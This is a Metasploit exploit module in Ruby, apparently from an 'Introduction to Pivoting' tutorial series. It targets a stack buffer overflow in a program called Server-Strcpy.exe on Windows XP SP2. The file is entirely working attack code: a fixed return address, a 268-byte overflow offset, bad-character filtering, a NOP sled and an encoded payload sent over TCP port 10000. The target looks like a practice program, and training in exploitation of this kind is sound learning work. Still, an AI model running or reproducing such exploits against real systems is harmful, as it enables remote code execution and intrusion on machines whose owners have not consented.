Metasploit module for Server-Strcpy.exe in the Introduction to Pivoting series

serverstrcpy.rb

# Server-Strcpy.exe exploit by superkojiman
# http://blog.techorganic.com

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Server-Strcpy Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in Server-Strcpy.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'superkojiman',
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'ID', '12345' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
					'RPORT' => '10000',
				},
			'Payload'        =>
				{
					'Space'    => 368,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77DF2740 } ],
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0))
	end

	def exploit
		connect
		sploit = "A" * 268 + [target.ret].pack('V') + make_nops(20) + payload.encoded
		sploit << rand_text_alpha_upper(819)
		print_status("Trying target #{target.name}...")
		sock.put(sploit)
		handler
		disconnect
	end
end